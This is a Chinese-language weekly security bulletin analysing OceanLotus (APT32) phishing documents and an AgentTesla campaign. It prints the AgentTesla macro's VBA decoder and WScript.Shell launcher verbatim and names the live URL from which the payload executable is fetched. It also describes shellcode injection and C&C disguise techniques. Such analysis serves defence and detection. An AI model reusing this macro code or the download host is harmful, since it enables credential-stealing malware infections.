本周安全态势
一、本周高级威胁攻击动态
1、海莲花组织近期活动频繁,但攻击武器万变不离其宗
海莲花(OceanLotus、APT32)是一个具有越南背景的黑客组织。该组织最早被发现于 2012 年 4月攻击中国海事机构、海域建设部门、科研院所和航运企业。主要使用鱼叉和水坑攻击方式,配合社工手段,利用特种木马进行符合越南国家利益的针对性窃密活动。
近日,我们发现了至少两起海莲花组织针对国外的攻击活动,两起活动仍使用Office文档进行攻击,并且其使用的远控后门仍然沿用以往的攻击武器。
1、疑似针对越南地区的攻击活动
(1)载荷分析
第一起活动疑似针对越南地区。投放的恶意文档名为Đơn khiếu nại,文件名为越南语,翻译后中文意思为“投诉”。
该文档实际为一个恶意宏文档,打开后会显示诱惑用户启动宏开关的图片。
通过进入宏代码窗口,发现设置了密码保护。
经过处理,我们获取到了一段混淆较为严重的VBS代码。
经过混淆解密后,可以得到以下VBS代码。
解密后,该脚本会去加载一段新的vbscript脚本。值得一提的是,在获取该段脚本过程中,我们发现存在区域限制问题,即在某些国家和地区无法对其进行下载,最后我们通过某些途径将其获取到。
(2)VBS Loader分析
得到该脚本后,我们发现该段代码也具有强混淆手法。
经过分析发现,原始文件存在3段代码,分别使用了0x35,0x39, 0x35作为异或解密的密钥。
第一段代码如下所示。这段代码新建了一个Excel对象,并修改了注册表中AccessVBOM的值,使脚本可以对宏进行调用执行。
第二段代码为该Excel对象的宏代码,该段宏代码经过了一定的混淆,并使用了0x78来异或加密其中的字符串。并使用CreateProcess来调用rundll32,然后将一段shellcode注入到该进程中,并最终通过CreateRemoteThread加载该段shellcode。
shellcode的前半部分是base64解码程序,后半部分是base64数据。
宏代码中的shellcode内容如下所示。
shellcode的前0x76个字节是一个loader,作用是对后面的数据进行解码并加载。该数据的编码为base64,经过解码后可以得到另一段shellcode,如下所示。
这段shellcode会连接C&C服务器,下载另一段shellcode内容并直接加载。
第三段代码如下所示。这段代码调用了该Excel的Auto_Open函数,并关闭Excel对象,恢复注册表中的AccessVBOM字段。
(3)远控分析
最终的shellcode在下载完成并运行后,首先shellcode头部通过将偏移0x34和0x38处的数据进行异或求得数据的总长度,然后对随后的数据进行异或解密,在全部解密完成后开始执行代码。
解密后得到一个DLL文件,该文件的导出模块名为17f2d8.dll,导出函数名为_ReflectiveLoader@4。
在解密后的数据中,可以发现该后门回连的C&C服务器为:
另外,该样本也在请求中将自己伪造为amazon.com,将传输的数据编码后隐藏在Cookies字段中。
当得到C&C服务器发过来的指令后,该远控便会执行相应的操作,通过统计发现有长达72种指令。
(4)溯源与关联分析
a.Shellcode关联
结合该VBS脚本下载的shellcode的编写技巧,我们通过以往追踪海莲花组织的经验,发现该段shellcode与以往海莲花组织所使用的shellcode手法几乎一致。
b.同源性关联分析
除了shellcode外,从本次攻击中最后释放的远控,与在我们以往披露的海莲花组织报告中(详见《2017网络安全态势观察报告》),无论是回传特征,还是代码结构甚至伪装成amazon的host主机回传信息的行为都几乎一致。
因此可以确认,本次攻击确为海莲花组织发起,并且该组织仍然在沿用以往的武器。
本次攻击中所使用的样本文件名为越南语书写,且标题与商业相关,因此很有可能目标针对越南相关的私营企业。
2、疑似针对柬埔寨地区的攻击活动
第二起活动疑似针对柬埔寨地区。投放的恶意文档名称为“2018 Cambodia Outlook Conference.doc”。
该恶意文档使用CVE-2017-11882漏洞进行攻击。其最终释放的文件为一个名为DsSvcCleanup.cpl的控制面板文件,并使用rundlle32.exe加载。DsSvcCleanup.cpl则为海莲花曾经使用过的Denis后门变种,运行后会通过DNS隧道与C&C服务器进行通信。
关于第二起攻击的更详细分析将在后续播报中进一步完善。
二、本周流行威胁攻击动态
1、恶意宏代码解密Excel特定单元格里的数据传播AgentTesla
最近我们捕获到了一批恶意样本,利用宏代码对Excel特定单元格里的数据进行解密,解密出Powershell脚本,进行下载恶意代码。
宏代码如下:
通过调试宏代码,最关键的函数是下面两个函数:
Public Function W_K(ByVal P_WJN As String)
Dim IT_HRM AsString
Dim A_SC AsLong
For A_SC = 1To Len(P_WJN) Step 2
IT_HRM = IT_HRM& Chr(CLng(Chr(38) & Chr(72) & Mid(P_WJN, A_SC, 2)) - 54)
Next
W_K = IT_HRM
End Function
Public Sub DTE_SE()
Dim P_WJN AsObject: Set P_WJN = VBA.CreateObject(W_K("8D8999A89FA6AA64899E9BA2A2"))
CallByNameP_WJN, "Run",VbMethod, W_K(ThisWorkbook.Sheets("MProp").Range("J225").Value),0, True
End Sub
其中Function W_K函数的功能是实现解码运算,将字符串每两个字符作为一个十六进制数,转换为整形数减去偏移值54后输出对应的Ascii字符。VBA.CreateObject(W_K("8D8999A89FA6AA64899E9BA2A2"))
执行W_K("8D8999A89FA6AA64899E9BA2A2")后解密出字符串:WScript.Shell
再来看下: W_K(ThisWorkbook.Sheets("MProp").Range("J225").Value)这句是要调用xls中的Sheets表名为“MProp“,单元格为”J225“中的数据,我们查找单元格为”J225“,双击后发现超长的数据内容。
对这段数据通过函数Function W_K 解密后得到:
可见,解密出Powershell脚本,去下载exe文件并执行。下载的URL为http://soydengemi.com/Match.com-myphotos/oo.exe。
通过下载该样本oo.exe进行分析 ,发现其是用C#编写的恶意软件Agent Tesla。Agent Tesla通过读取资源数据,解密出核心代码进而执行。Agent Tesla可窃取受害主机隐私信息,包括主机名称,用户名,密码,键盘记录,浏览器/邮件客户端/FTP客户端等的登陆凭证,屏幕截取等等。
领取专属 10元无门槛券
私享最新 技术干货